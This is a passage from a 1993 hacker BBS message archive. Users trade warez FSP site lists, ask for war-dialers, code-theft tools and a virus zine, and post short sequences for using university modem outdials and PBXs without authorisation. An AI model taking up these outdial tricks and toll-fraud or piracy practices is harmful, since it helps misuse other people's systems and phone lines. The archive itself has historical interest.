not.. However if people are going around taking hack tests to see how good
of a 'hacker' they are, then, well, it looks like a portion of it is
moving towards warezzz (Yeah, like it hasn't already?!).
Whatever.. thats idiotic..
But, anyway, Yeah, I am the author of Autoscan, and I really couldnt
care who gets it... Well, yes I care.. but I let the people pass it around
and to use their best judgement on who should get it.... Not like it
really matters I guess sence these days every other 13 year old is
scanning like mad and not knowing what theyre doing (not saying all of
them dont know what theyre doing) and either fuck up systems or thier
'idol' (you know, one of those fuckheads like albatross who enslaves
lamers to do his dirty work) goes around destroying shit...
Its funny how these type of people never get caught either... makes me
fucking sick.
Anyway.. thats all from me for now, i have programming to do.
NoMeansNo
nmn@phantom.mindvox.com
From skippy@yabbs Wed Apr 21 03:31:28 1993
From: skippy@yabbs
To: nmn@yabbs
Subject: re: WTF
Date: Wed Apr 21 03:31:28 1993
In message WTF, nmn said:
> What the fuck?! A hacker test?! What demented idiotic person came up
> with such a thing?! This isnt a WaR3z community, or I would at least hope
> not.. However if people are going around taking hack tests to see how good
> of a 'hacker' they are, then, well, it looks like a portion of it is
> moving towards warezzz (Yeah, like it hasn't already?!).
well, nmn..... if you take the bother to read my original post... you will
read that i said if was more of a test to test your knowledege of
computerdom, not how to hack it.... its a test to see what kind of a nerd
you are!! not how easy you can crack systems...
so why dont you read a bit more carefully next time... instead of cussing us
all out...
thank you
--skip
?
From tau@yabbs Wed Apr 21 04:30:55 1993
From: tau@yabbs
To: swerve@yabbs
Subject: re: fsp sites
Date: Wed Apr 21 04:30:55 1993
In message fsp sites, swerve said:
> hey, me here lookin' to trade some fsp sites with some people.
> mondays@bsu-cs.bsu.edu
Hi i have got the 930418 sitelist, so if you have any thing beside thet i
wouls be interested!
\tau tau@daimi.aau.dk?
From tau@yabbs Wed Apr 21 05:02:05 1993
From: tau@yabbs
To: greywolf@yabbs
Subject: re: fsp
Date: Wed Apr 21 05:02:05 1993
In message fsp, greywolf said:
> Where can I get a copy of this? and some docs on how to abuse..ahh..use
> it..thanks
You can get et from me! as i said yesterday, just tall me by email or here,
where to put it...
Ps: it is the 266.4 version !?
From tau@yabbs Wed Apr 21 05:05:53 1993
From: tau@yabbs
To: mohawk@yabbs
Subject: fsp
Date: Wed Apr 21 05:05:53 1993
I have sadly, sent you the wrong version of fsp, if you have not got the new
one by now, just call, and i'll corect the problem...
\tau tau@daimi.aau.dk?
From cse@yabbs Wed Apr 21 14:03:28 1993
From: cse@yabbs
To: greywolf@yabbs
Subject: re: HP Network...
Date: Wed Apr 21 14:03:28 1993
me to... What can I do?
Chainsaw Enema
From nstriker@yabbs Wed Apr 21 14:15:50 1993
From: nstriker@yabbs
To: all@yabbs
Subject: cthief
Date: Wed Apr 21 14:15:50 1993
Could someone send it uuencoded to me here or as
tns@bbs.santafe.edu? thanks.
.
From swerve@yabbs Wed Apr 21 17:03:28 1993
From: swerve@yabbs
To: greywolf@yabbs
Subject: re: fsp
Date: Wed Apr 21 17:03:28 1993
the latest version of fsp is sitting at ftp.uu.net in the
/tmp dir
swervE
?
From greywolf@yabbs Thu Apr 22 02:26:53 1993
From: greywolf@yabbs
To: swerve@yabbs
Subject: re: fsp
Date: Thu Apr 22 02:26:53 1993
thanks!
Now, any body got a list of fsp sites?
From dork@yabbs Thu Apr 22 13:30:28 1993
From: dork@yabbs
To: all@yabbs
Subject: Vox
Date: Thu Apr 22 13:30:28 1993
What in the blue blazes has happened to mindvox...cannnot telnet there to
save my life and have no local outdials to New York <hint> so the last
time i waas on I had to call direct and was down to 7200 in seconds...
Anybody have any information cause no one on the old Alt.Cyber.channel of
slow chat is answering me either...I do not have time for a major project
at the moment...canna sew one cuttt me some slack ear????
CritiC - if anyone cares....
From liqjesus@yabbs Thu Apr 22 13:42:13 1993
From: liqjesus@yabbs
To: dork@yabbs
Subject: re: Vox
Date: Thu Apr 22 13:42:13 1993
That's a relief. I thought I was the only one who couldn't log on
thru telenet. You figure you pay $ to get on the place, at least
you should be able to CONNECT to the damn board!
Mindvox seems to be plagued with problems lately.
From swerve@yabbs Thu Apr 22 15:32:31 1993
From: swerve@yabbs
To: greywolf@yabbs
Subject: re: fsp
Date: Thu Apr 22 15:32:31 1993
In message re: fsp, greywolf said:
> thanks!
> Now, any body got a list of fsp sites?
Well, i got some . if you mail me mondays@bsu-cs.bsu.edu i can forward
some out to ya'.
swerve
?
From edster@yabbs Thu Apr 22 22:46:43 1993
From: edster@yabbs
To: all@yabbs
Subject: 703/804 Outdials...
Date: Thu Apr 22 22:46:43 1993
Hey.. I know it's an old thread, but it's been a while since I've logged
on...
That outdial at UVa (ublan.acc.virginia.edu or ublan.acs.virginia.edu, I've
forgotten) is in area code 804... It's in Charlottesville, and does accept
local calls... (ATDT9,,xxxxxxx)
The Va Tech CBX (vtcbx.cc.vt.edu) will let you connect to on-campus and
select off campus machines... It's area code 703, in Blacksburg... The
#s that are valid on-campus machines start with 231 and 232.. You may still
be able to access local off-campus boards by doing the following at the
CBX prompt:
call datakit
vtcbx
c 9,xxxxxxx
This used to fake the CBX out into thinking you weren't calling from outside
VA Tech... I haven't tried it in a while, though, and I'd heard that it
didn't work.. But hack away.
- Edster
eschwab@csugrad.cs.vt.edu?
From pyro@yabbs Fri Apr 23 06:56:47 1993
From: pyro@yabbs
To: all@yabbs
Subject: 'Vox...
Date: Fri Apr 23 06:56:47 1993
MindVox has moced from its NeXT workstation to a Sun LAN system, and
because of this, and their change to T1 bandwidth, they now have a new net
address. NetServ has not gotten the paperwork trhough for 'pjantom.com'
to work right now, so you have to use the IP Number for the new system:
198.67.3.2
This will connect to it just fine. Few problemsm: because they do not
have a IP Name mail is lost in the shuffle (as in, no mail), and a few
things like IRC and such are currently messed up. Hopefully they get it
all figured out soon. Moving can be such a pain, even if it is sometimes
only electronically.
-Pyro
From tau@yabbs Fri Apr 23 07:06:32 1993
From: tau@yabbs
To: greywolf@yabbs
Subject: Re: fsp
Date: Fri Apr 23 07:06:32 1993
I have the fsp - site list - UpDated: 93 04 19
If you are interested, just leave me a note..
\tau tau@daimi.aau.dk?
From artimage@yabbs Fri Apr 23 12:48:23 1993
From: artimage@yabbs
To: tau@yabbs
Subject: re: Re: fsp
Date: Fri Apr 23 12:48:23 1993
I would love a copy. Send it to Oly@coos.dartmouth.edu. Thanks,
Artimage.-
From htoaster@yabbs Fri Apr 23 21:54:41 1993
From: htoaster@yabbs
To: wincroft@yabbs
Subject: re: fsp
Date: Fri Apr 23 21:54:41 1993
In message re: fsp, wincroft said:
> no list, but i have a site that is not on the list. I offer
> xxxxxxxxxxxxxx port xxxx. If you have any unlisted sites, pleas meail
> them to me at tlawless@whale.st.usm.edu or post.
DO NOT POST! This is a warez site...i tried it out...I don't want to
have to have yabbs go down because of careless users who think that the
greatest idea in the world is to post warez sites...if yabbs continutes
to be used like this I will have to take it down (which I really don't
want to do).
Anyway, keep this stuff off of the board. I'm not going to delete users,
since anyone can make a new account anyway. I really don't want to have
to start validating people, I like the anonyminity given here...just keep
it off...
htoaster
?
From deprogra@yabbs Sat Apr 24 00:35:23 1993
From: deprogra@yabbs
To: htoaster@yabbs
Subject: re: fsp
Date: Sat Apr 24 00:35:23 1993
Okay, I'll bite: what's fsp?
From greywolf@yabbs Sat Apr 24 00:55:03 1993
From: greywolf@yabbs
To: tau@yabbs
Subject: re: Re: fsp
Date: Sat Apr 24 00:55:03 1993
I'm interested..in the fsp site..and whare I can get fsp..thanks!
GREY WOLF
From rip torn@yabbs Sat Apr 24 03:20:15 1993
From: rip torn@yabbs
To: pez@yabbs
Subject: re: scanners
Date: Sat Apr 24 03:20:15 1993
If you are still looking for a scanner..try getting ToneLoc v98..it's
seemingly the best that I've found. It works best if you have a modem
that detects voice/data/etc. automatically.
From jasonlee@yabbs Sat Apr 24 03:27:51 1993
From: jasonlee@yabbs
To: all@yabbs
Subject: Info needed!
Date: Sat Apr 24 03:27:51 1993
OK, I need info on the ITX OS (commands, bugs, ettc.), and I need to know
about the anonymity gained when dialing from a PBX.
Thanks a lot.
JasonLee
From rip torn@yabbs Sat Apr 24 03:34:19 1993
From: rip torn@yabbs
To: aleph1@yabbs
Subject: re: 2600+
Date: Sat Apr 24 03:34:19 1993
Do you know of any 2600 meetings in Ontario Canada..and if not..is there a
"outpost" up here? I'd like to hang at a meeting or two since I heard
they get busted quite Phreakwently, and tons of inpho. is passed around.
Inquiring minds wanna know.
From rip torn@yabbs Sat Apr 24 03:37:25 1993
From: rip torn@yabbs
To: ziplock@yabbs
Subject: re: Warez junk
Date: Sat Apr 24 03:37:25 1993
I'd be interested in grabbing that Elmer Fudd script shit. Where can I go
to find it? Sounds like a cool trick to play on an unsuspecting prof.!!!
:)
From htoaster@yabbs Sat Apr 24 10:53:06 1993
From: htoaster@yabbs
To: all@yabbs
Subject: magik issue 2 online
Date: Sat Apr 24 10:53:06 1993
I just put the second issue of magik online, thanks to cha0s for
uploading it. It has some interesting stuff, so make sure to check it
out...
htoaster
?
From nmn@yabbs Sat Apr 24 14:22:22 1993
From: nmn@yabbs
To: all@yabbs
Subject: Well
Date: Sat Apr 24 14:22:22 1993
Yeah I found out that it was a nerd test, I read through almost all 512
questions... it was, interesting, but there were alot of bullshit
questions on there...
NMN
From pez@yabbs Sat Apr 24 14:48:23 1993
From: pez@yabbs
To: rip torn@yabbs
Subject: re: scanners
Date: Sat Apr 24 14:48:23 1993
With the help of a few people from this board, I've been
able to find plenty of scanners. I have v97 of ToneLoc, but
someone informed me that it was a hack.
I'd like to try v98 but I haven't found it yet.
From odo@yabbs Sat Apr 24 23:30:49 1993
From: odo@yabbs
To: all@yabbs
Subject: FSP
Date: Sat Apr 24 23:30:49 1993
(Wht the heck is FSP)
And what is this about scanners?
I assume they are to search for ports?
Wonder if the site admin would get teed off by the humoungous
system time taken up by them...
(well if you OWN your own site then it is no prob!)
Didn't know internet had all this stuff on here.
Amazing what the feds don't know about.
A 5 year old could do better investigating!
Laterz
From wincroft@yabbs Sun Apr 25 01:03:36 1993
From: wincroft@yabbs
To: odo@yabbs
Subject: re: FSP
Date: Sun Apr 25 01:03:36 1993
well, Fsp is a protocol that allows you to get files form other sites. The
big diffrence is that you never really log into those sites. you are
there, but you ain't. (Alos the >=1kps transfer rates a way slow compared
to the 6,7 + kps i get on FTP)
as for the feds, well what can i say, the internet is so o large, and is
not regulated (mutch) by the gov. (a working anarchy, sorta'). and if the
SPA wanted to crack down on pirate fsp sites, well they may have a problem
doing such overseas. The legal problems! who would proscesute (sp?) is it
breaking US law or Thier Laws? Where was the crim commited. I think
something may be said about this in the next issue of CUD dealing with the
Spa. Till then, I'll see ya' when i see ya'
From darkside@yabbs Sun Apr 25 03:45:39 1993
From: darkside@yabbs
To: invalid@yabbs
Subject: re: dialout
Date: Sun Apr 25 03:45:39 1993
> fuck man it had been a long time. Didn't know you were on here. Of course
> my boadr is still up and Phalcon/Skism is still going strong... call the
> boadr or mail me at CCDHB@acvax.INRE.ASU.EDU fo ra 602 internet outdial
> (in case you have no way of calling out)...
>
> Invalid Media, Phalcon/Skism
> ccdhb@acvax.inre.asu.edu
> invalid@bsdslab.pr.erau.edu
>
heyo......I'm back! My computer died on me....and I got a new one...shit,
has been a while eh? Glad to hear your board is up and running and P/S are
still around...thought you guys were finished there....anyway, I haven
't been on here that long...I wasn't back when I was calling your
board...and yeah, I could use that OD...I'll email ya, thanks!
darkside@silver.lcs.mit.edu
darkside@gnu.ai.mit.edu
darkside@garbo.uwasa.fi
?
From darkside@yabbs Sun Apr 25 03:49:04 1993
From: darkside@yabbs
To: invalid@yabbs
Subject: re: dialout
Date: Sun Apr 25 03:49:04 1993
In message re: dialout, invalid said:
> ya got it wrong dude.. landfill was the only boadr affected by the bust
> DIRECTLY.. GHeap got visited so his board is down.. decimator's boadr went
> down and now its back up privately as a ps site.. we are stilll a ps site
> (upt) and a new ps site in 914 went up.. dont know the #
>
> Invalid Media, Phalcon/Skism
> invalid@bsdslab.pr.erau.edu
> ccdhb@acvax.inre.asu.edu
sorry...and glad ya corrected me...so, what happened to USSR? No offense but
I hope he burnt in hell...anyway, hope to be back on your board soon! Ciao!
darkside@silve.lcs.mit.edu
darkside@gnu.ai.mit.edu
darkside@garbo.uwasa.fi
P.S. - Greets Kingpin....
?
From greywolf@yabbs Sun Apr 25 20:01:15 1993
From: greywolf@yabbs
To: all@yabbs
Subject: re: dialout
Date: Sun Apr 25 20:01:15 1993
Wanted: hack/phreak boards with (if possible) coressponind outdials from
internet
BTW: does anyone know how I can patch into other networks from internet
(such as tymnet/sprintnet?)
And anybody got a GOD? I really would like to call overseas !
GREY WOLF
From hangman@yabbs Sun Apr 25 21:47:59 1993
From: hangman@yabbs
To: all@yabbs
Subject: stuff
Date: Sun Apr 25 21:47:59 1993
Well, I'm new to these parts.
I'd appreciate the names and BBS numbers of some good boards, <14.4K or
more naturally> and some help with FSP and such. I cannot seem to get FSP
to work for me.
Please contact me in E-Mail here if you would be willing to move this
discussion to regular Internet mail. Please.
Thank you.
From jasonlee@yabbs Sun Apr 25 23:38:19 1993
From: jasonlee@yabbs
To: pez@yabbs
Subject: re: scanners
Date: Sun Apr 25 23:38:19 1993
Ah, I have toneloc 98, so I guess I should FTP it here.
I'll do that immediately after I'm done here.
JasonLee
From kamakize@yabbs Mon Apr 26 00:04:24 1993
From: kamakize@yabbs
To: edster@yabbs
Subject: re: 703/804 Outdials...
Date: Mon Apr 26 00:04:24 1993
hey dude the
local # from roanoke 985-0071
Vtcbx
c datakit
c vtcbx
c vtelnet gets me here!
ill letcha knoq what goes on
btw if you can call rke my vmb is 981-3434 box 757
laterz
From kamakize@yabbs Mon Apr 26 00:06:33 1993
From: kamakize@yabbs
To: jasonlee@yabbs
Subject: 804/703
Date: Mon Apr 26 00:06:33 1993
im in 703 - South-western Va in ol Roanoke
my bbs 703-366-4620
laterz
From pez@yabbs Mon Apr 26 02:52:25 1993
From: pez@yabbs
To: jasonlee@yabbs
Subject: re: scanners
Date: Mon Apr 26 02:52:25 1993
>Ah, I have toneloc 98, so I guess I should FTP it here.
>I'll do that immediately after I'm done here.
Appreciate the offer, but I don't think htoaster allows
binary files on the board.
An interesting bit I just read in magik2...
Codethief5.1 seems to be a hack. It looks like the only
thing that was changed was the credits though.
-Pez
From htoaster@yabbs Mon Apr 26 08:43:58 1993
From: htoaster@yabbs
To: pez@yabbs
Subject: re: scanners
Date: Mon Apr 26 08:43:58 1993
In message re: scanners, pez said:
> >Ah, I have toneloc 98, so I guess I should FTP it here.
> >I'll do that immediately after I'm done here.
>
> Appreciate the offer, but I don't think htoaster allows
> binary files on the board.
It is true...you can go through ftp.uu.net or any of the fsp sites or
whatever.
htoaster
?
From deprogra@yabbs Mon Apr 26 10:05:45 1993
From: deprogra@yabbs
To: all@yabbs
Subject: 2600 in Seattle
Date: Mon Apr 26 10:05:45 1993
According to the Spring 2600, there will be a meeting in Seattle. It will
be on the first floor of the Washington State convention center.
The payphone numbers published in the spring issue are wrong!! Here are
the correct numbers: (206) 220-9774, 9775, 9776, 9777.
From kilroy@yabbs Mon Apr 26 13:42:25 1993
From: kilroy@yabbs
To: greywolf@yabbs
Subject: re: hack sites
Date: Mon Apr 26 13:42:25 1993
I am sorta new to I-net myself, and was wondering if you could explain
o-dials a bit...how do you find them? I'd like to reach a few people in
other states via bbs's, but don't have any outdials with which to do this.
Any help would be appreciated...Thanks.
From kilroy@yabbs Mon Apr 26 13:44:01 1993
From: kilroy@yabbs
To: mintent@yabbs
Subject: re: addresses
Date: Mon Apr 26 13:44:01 1993
Is the nyx.cs.du.edu place still available? Whenever i've tried, all i get
is 'Unaccepting new logons', or something to that effect...has
thatd to anyone else?
From kilroy@yabbs Mon Apr 26 13:47:57 1993
From: kilroy@yabbs
To: skippy@yabbs
Subject: re: hacking?
Date: Mon Apr 26 13:47:57 1993
How could you go about scanning IP addresses...would you have to set up a
script in your comm program? I'm sure that wouldn't be hard at all....
From kilroy@yabbs Mon Apr 26 13:49:04 1993
From: kilroy@yabbs
To: pyro@yabbs
Subject: re: HP Network...
Date: Mon Apr 26 13:49:04 1993
Yea, that info on an HP net sounds interesting....if you'd like any help,
or just wanna talk about it, e-mail me at khanlon@lynx.northeastern.edu
Thanks...
From kilroy@yabbs Mon Apr 26 13:52:10 1993
From: kilroy@yabbs
To: all@yabbs
Subject: re: hacker test
Date: Mon Apr 26 13:52:10 1993
Any chance of someone sending up Code Thief 5.1 here? Or, to another FTP
site?
From kilroy@yabbs Mon Apr 26 13:53:55 1993
From: kilroy@yabbs
To: swerve@yabbs
Subject: re: fsp sites
Date: Mon Apr 26 13:53:55 1993
I've got a list or two if you'd like to trade sites...e-mail me at
khanlon@lynx.northeastern.edu
From kilroy@yabbs Mon Apr 26 13:57:15 1993
From: kilroy@yabbs
To: swerve@yabbs
Subject: re: fsp
Date: Mon Apr 26 13:57:15 1993
What are FSP sites, anyway? I'm sorta new to the Net, so forgive me...
From kilroy@yabbs Mon Apr 26 14:00:25 1993
From: kilroy@yabbs
To: rip torn@yabbs
Subject: re: scanners
Date: Mon Apr 26 14:00:25 1993
I've got Tone Loc, and i can't seem to get it to work with COM4 on my
modem...in fact, it probably won't work with it in the first place. Then
again, i have a Boca, so that probably explains it...
From christj@yabbs Mon Apr 26 19:43:40 1993
From: christj@yabbs
To: kamakize@yabbs
Subject: re: 703/804 Outdials...
Date: Mon Apr 26 19:43:40 1993
What? Vtcbx?
Is that like comin thru SprintNet or Tymnet or somethin?
?
From kamakize@yabbs Mon Apr 26 20:41:56 1993
From: kamakize@yabbs
To: christj@yabbs
Subject: re: 703/804 Outdials...
Date: Mon Apr 26 20:41:56 1993
no its a local Govonors School's dec server has access to
UVA,VA Tech,Radford and JMU and services like VA pen and Net find and
modem outdials (only if i could find the
passwords for em! i do however have the PW for logon the dec server
From fatdog@yabbs Tue Apr 27 00:21:25 1993
From: fatdog@yabbs
To: rip torn@yabbs
Subject: re: scanners
Date: Tue Apr 27 00:21:25 1993
Where can i get a copy of ToneLoc from??
Fatdog. s932544@minyos.xx.rmit.edu.au
From jasonlee@yabbs Tue Apr 27 03:03:39 1993
From: jasonlee@yabbs
To: kilroy@yabbs
Subject: re: scanners
Date: Tue Apr 27 03:03:39 1993
Toneloc will not work with COMs abbove 2.
Kinda sucks, huh?
JasonLee
From tom@yabbs Tue Apr 27 15:34:51 1993
From: tom@yabbs
To: jasonlee@yabbs
Subject: re: scanners
Date: Tue Apr 27 15:34:51 1993
something about magik-2...they have that credit card formula - it's
bullshit...doesn't work. i checked it against some valid cards (that are
legally mine by the way) and it's wrong. i don't know the right one, but
theirs is wrong...
From vapor@yabbs Tue Apr 27 17:49:43 1993
From: vapor@yabbs
To: all@yabbs
Subject: 40hex
Date: Tue Apr 27 17:49:43 1993
Anybody know where I could find 40hex (a virus nfo zine)?
I'd like some nfo on it as soon as possible.
thanx all
From tau@yabbs Tue Apr 27 19:48:43 1993
From: tau@yabbs
To: greywolf@yabbs
Subject: tja
Date: Tue Apr 27 19:48:43 1993
yIn message re: Re: fsp, greywolf said:
> I'm interested..in the fsp site..and whare I can get fsp..thanks!
>
>
>
> GREY WOLF
I dont have your Email address, surry, but with out that i'll have a serious
problem mailing you, since this mail i public and hoster dont like all what
is ending up here.
\tau tau@daimi.aau.dk?
From tau@yabbs Tue Apr 27 20:05:05 1993
From: tau@yabbs
To: hangman@yabbs
Subject: re: stuff
Date: Tue Apr 27 20:05:05 1993
Hello
In message stuff, hangman said:
> Well, I'm new to these parts.
>
> I'd appreciate the names and BBS numbers of some good boards, <14.4K or
> more naturally> and some help with FSP and such. I cannot seem to get FSP
> to work for me.
Wath computer are you compiling fsp for (etc. hp, sun), if you tell me that
i would give you some hints!
>
> Please contact me in E-Mail here if you would be willing to move this
> discussion to regular Internet mail. Please.
>
> Thank you.
That will be fine...
\tau tau@daimi.aau.dk?
From greywolf@yabbs Wed Apr 28 00:03:38 1993
From: greywolf@yabbs
To: kilroy@yabbs
Subject: re: hack sites
Date: Wed Apr 28 00:03:38 1993
I'd be glad to answer all your questions...just chat with me when I'm on
here..I'mhere practically every day, at about midnite and after EST.
tata
From hal9000@yabbs Wed Apr 28 03:15:17 1993
From: hal9000@yabbs
To: all@yabbs
Subject: re: hack sites
Date: Wed Apr 28 03:15:17 1993
Hey All,
I should inform y'all, I have been active in the telecom world
since before the Ma Bell breakup (what a bitter divorce). But,
the one thing I find suprising, is that while I am fairly new to
Internet, I really don't know any sites which cater to my kind. I am
interested in the cutting edge software which is available. If anyone
could mail me, please contact me at : 17caron@cua.edu. I would appreciate
it. I am fairly versed in programing et cetera. I look forward to contacts
which share similar interests.
-chris
From pureluck@yabbs Wed Apr 28 16:27:27 1993
From: pureluck@yabbs
To: pyro@yabbs
Subject: re: HP Network...
Date: Wed Apr 28 16:27:27 1993
I know synthgenius@maple.circa.ufl.edu is starting something called Rewt!
And
Rewt! Magazine which will discuss mainly INternet related Topics. He went
to his student honor court and faced serious expulsion for distributing
underground software, a la IRC.
tsk tsk. Mail him for more info.
pure luck
Club IP
From cse@yabbs Wed Apr 28 17:35:20 1993
From: cse@yabbs
To: tau@yabbs
Subject: re: tja
Date: Wed Apr 28 17:35:20 1993
tau: my email addres is cse@santafe.edu Pleas email me the info too.
thanks ChaisnawEnema
From maxan@yabbs Wed Apr 28 19:37:25 1993
From: maxan@yabbs
To: christj@yabbs
Subject: re: 703/804 Outdials...
Date: Wed Apr 28 19:37:25 1993
vtcbx... it's sorta like this board except it's down at virgania
polytech.
Maxan
From wincroft@yabbs Wed Apr 28 19:40:25 1993
From: wincroft@yabbs
To: kilroy@yabbs
Subject: re: hacker test
Date: Wed Apr 28 19:40:25 1993
If you can't find it mail me at tlawless@whale.st.usm.edu. I'll upload it,
uuencode it and mail it to ya' (send your address in the body, i can't see
some addresses in elm).
From binkley@yabbs Thu Apr 29 19:14:54 1993
From: binkley@yabbs
To: mohawk@yabbs
Subject: re: where can you get pgp 2.2?
Date: Thu Apr 29 19:14:54 1993
FTP to Soda.Berkeley.EDU and in /tmp/pgp22
pgp22src.zip Source code
pgp22.zip Program
l8r
Binkley
From binkley@yabbs Thu Apr 29 19:16:18 1993
From: binkley@yabbs
To: invalid@yabbs
Subject: re: dialout
Date: Thu Apr 29 19:16:18 1993
Where could I get 40Hex?? I tried to get into UnPhammiliar but I couldn't
get past the new user voting...
Binkley
From binkley@yabbs Thu Apr 29 19:28:52 1993
From: binkley@yabbs
To: snoblind@yabbs
Subject: re: MS-DOS BBS
Date: Thu Apr 29 19:28:52 1993
Celerity can be configured to look like UNIX in the logon shell.
1.42 is the newest release so far as I know.
From binkley@yabbs Thu Apr 29 19:29:34 1993
From: binkley@yabbs
To: all@yabbs
Subject: Celerity
Date: Thu Apr 29 19:29:34 1993
Does anybody know where I could FTP various BBS programs like LSAD,
Vision-X and celerity?? If so, please let me know, l8r
Binkley
From binkley@yabbs Thu Apr 29 19:39:18 1993
From: binkley@yabbs
To: fatdog@yabbs
Subject: re: scanners
Date: Thu Apr 29 19:39:18 1993
Well, I have no idea how to send a binary file through the internet, but
you can call my BBS any time. !@#$!!!!kjtzy|~}{xwv
207-562-9226 I've got it there.
l8r
Binkley
From binkley@yabbs Thu Apr 29 19:40:31 1993
From: binkley@yabbs
To: liqjesus@yabbs
Subject: re: scanners
Date: Thu Apr 29 19:40:31 1993
how about in New England?
The Center of the Universe.
207-562-9226
l8r
Binkley
From greywolf@yabbs Thu Apr 29 20:23:17 1993
From: greywolf@yabbs
To: all@yabbs
Subject: Outdials
Date: Thu Apr 29 20:23:17 1993
Okey, I've found the following outdials..now if anybody know how to get
them to work..please tell me .
AC 703: vtcbx.cc.vt.edu
AC 804: ublan.acc.virginia.edu
AC 412: gate.cis.pitt.edu
AC XXX: isn.hcf. jhu.edu
I don't know the area code for the last one...if anyone has any more areac
codes, please tell me ... I mainly on the look out for Global
Outdials..thanks all!
Incidently, does anyone know of a gateway from internet to
tymnet/sprintnet? Ciao!
GREY WOLF
From mohawk@yabbs Thu Apr 29 20:50:30 1993
From: mohawk@yabbs
To: greywolf@yabbs
Subject: re: Outdials
Date: Thu Apr 29 20:50:30 1993
The gate.cis.pitt.edu dialout instructions are: LAT, then C dialout, then
Ctrl-E ,<cr>, d91<number> (you should be at a * prompt).
mohawk
From tom@yabbs Thu Apr 29 22:17:04 1993
From: tom@yabbs
To: mohawk@yabbs
Subject: re: Outdials
Date: Thu Apr 29 22:17:04 1993
the first one, vtcbx.cc.vt.edu is a virginia tech terminal server that
doesn't let you do outdials, it comes back with a 'this terminal lacks
permission to dial out' message...the last one looks like Johns Hopkins
university (jhu.edu) so is in 301 i think...is the gate.cis.pitt.edu, does
that have anything to do with compuserve? they both use cis (compuserve info
services)...i dunno though.
?
From jasonlee@yabbs Fri Apr 30 00:30:21 1993
From: jasonlee@yabbs
To: all@yabbs
Subject: jhu outdial
Date: Fri Apr 30 00:30:21 1993
The jhu outdial is in 410, and a local bbs is at 539-2261.
AT commands must be given in CAPS, however. Good luck on getting it to
work.
JasonLee
From mohawk@yabbs Fri Apr 30 01:01:07 1993
From: mohawk@yabbs
To: tom@yabbs
Subject: re: Outdials
Date: Fri Apr 30 01:01:07 1993
tom, cis refers to computer information science, the outdials are not
related to compuserve. The gate.cis.pitt.edu outdial is run by university
of pittsburgh.
mohawk
From tboe@yabbs Fri Apr 30 02:56:51 1993
From: tboe@yabbs
To: jasonlee@yabbs
Subject: re: jhu outdial
Date: Fri Apr 30 02:56:51 1993
> num: [225] to: [all] from: [jasonlee] time: [Fri Apr 30 00:30:21 1993]
> title: [jhu outdial] length: [148 bytes]
> ----
> The jhu outdial is in 410, and a local bbs is at 539-2261.
> AT commands must be given in CAPS, however. Good luck on getting it to
> work.
ok, I tried it, and this is the result:
> LANTRONIX ETS-16 Terminal Server Version 2.1/25(910802)
>
> Type HELP at the 'Local>' prompt for assistance.
> Username> tmp
>
> %Info: Connecting to local service DIAL.
>
> DIAL: ATDT539-2261
> WRONG ADDRESS
> DIAL: ATDT 539-2261
> WRONG ADDRESS
what did I do wrong ?
?
From hmaster@yabbs Fri Apr 30 20:08:46 1993
From: hmaster@yabbs
To: tom@yabbs
Subject: re: Outdials
Date: Fri Apr 30 20:08:46 1993
You shouls try to enter a melfunction loop on the terminal you logon to
and then it might drop you into the main terminal.
Hmaster
From hiro@yabbs Sat May 1 01:46:52 1993
From: hiro@yabbs
To: all@yabbs
Subject: FSP
Date: Sat May 1 01:46:52 1993
FSP is currently on wuarchive.wustl.edu, in the /pub directory. Get
fsp.client.tar or whatever it is.
It compiles no problem on a Sun. The one gripe I have with it is that
it is slower than treacle in January, but I suppose that is because it
uses less bandwidth so the sites are less likely to get busted. That does
no, however, explain why the damn things are down so often.
The thing is it's not quite as hand-holding as FTP. You tell it to
connect, but you're not sure if it's connected or not, because the connect
command simply tells your machine where to send all subsequent
instructions. So you apparently connect instantaneously, but to do a
simple ls might take until the entropy death of the universe. Kind of
uncool until you see what kind of sick shit is out there.
From deprogra@yabbs Sat May 1 03:06:01 1993
From: deprogra@yabbs
To: tboe@yabbs
Subject: re: jhu outdial
Date: Sat May 1 03:06:01 1993
Maybe it doesn't want the atdt.
From stone@yabbs Sat May 1 17:23:42 1993
From: stone@yabbs
To: mohawk@yabbs
Subject: Stone
Date: Sat May 1 17:23:42 1993
MoHawk,
Stone here,
I finally got this to work. U ever all the Hell Pit BBS yet?
I sent a few files to the Magnetic Page a few days ago. Anyone
know a good place to d/l the latest PGP??
Stone L8tr
From hawkwind@yabbs Sun May 2 16:14:27 1993
From: hawkwind@yabbs
To: all@yabbs
Subject: Summer places...
Date: Sun May 2 16:14:27 1993
So now that it looks like yabbs is going down, where can everyone
be found over the summer??
d-dials aren't always the easiest to reach from Europe.... :-)
Cheers,
Hawkwind.
From mohawk@yabbs Sun May 2 18:47:47 1993
From: mohawk@yabbs
To: all@yabbs
Subject: pgp
Date: Sun May 2 18:47:47 1993
You can ftp it from ftp.uu.net
mohawk
mohawk@santafe.edu
From vapor@yabbs Sun May 2 20:19:09 1993
From: vapor@yabbs
To: invalid@yabbs
Subject: re: dialout
Date: Sun May 2 20:19:09 1993
where can I get 40hex??
From stone@yabbs Sun May 2 21:17:12 1993
From: stone@yabbs
To: mohawk@yabbs
Subject: re: pgp
Date: Sun May 2 21:17:12 1993
Mohawk,
u know where I can pick up the shell for PGP?
Stone
From mohawk@yabbs Mon May 3 10:46:04 1993
From: mohawk@yabbs
To: vapor@yabbs
Subject: 40hex
Date: Mon May 3 10:46:04 1993
I think illumina's board has it, he has his board # and NUP in his info
file here. If you want to wait before calling l/d, I can check and tell
you by tomorrow.
mohawk
mohawk@santafe.edu
From jasonlee@yabbs Mon May 3 16:01:36 1993
From: jasonlee@yabbs
To: all@yabbs
Subject: re: jhu outdial
Date: Mon May 3 16:01:36 1993
Ah, for the jhu outdial, you must type 'decnet' at the DIAL: prompt.
From there, type 'c jhupout' or 'c cemod1' and try really hard to get the
thing to work!
Try 539-2261 if you succeed.
JasonLee
From zaphyr@yabbs Mon May 3 20:50:46 1993
From: zaphyr@yabbs
To: all@yabbs
Subject: re: FSP
Date: Mon May 3 20:50:46 1993
Greetings all.
I am new user to your bbs.
I was referred here to help answer questions about FSP and Outdial.
Is FSP like FTP?
Please comeone can email a sitelist to below address?
What is Outdial?
Thank you
Zaphyr
zaphyr@santafe.edu (the bbs one)
From mephisto@yabbs Tue May 4 09:32:26 1993
From: mephisto@yabbs
To: all@yabbs
Subject: FSP
Date: Tue May 4 09:32:26 1993
How do I compile FSP with AIX on a RS/6000??
From tau@yabbs Wed May 5 12:46:42 1993
From: tau@yabbs
To: hawkwind@yabbs
Subject: re: Summer places...
Date: Wed May 5 12:46:42 1993
Hi. im on daimi all the summer but you might find me anywhere on the
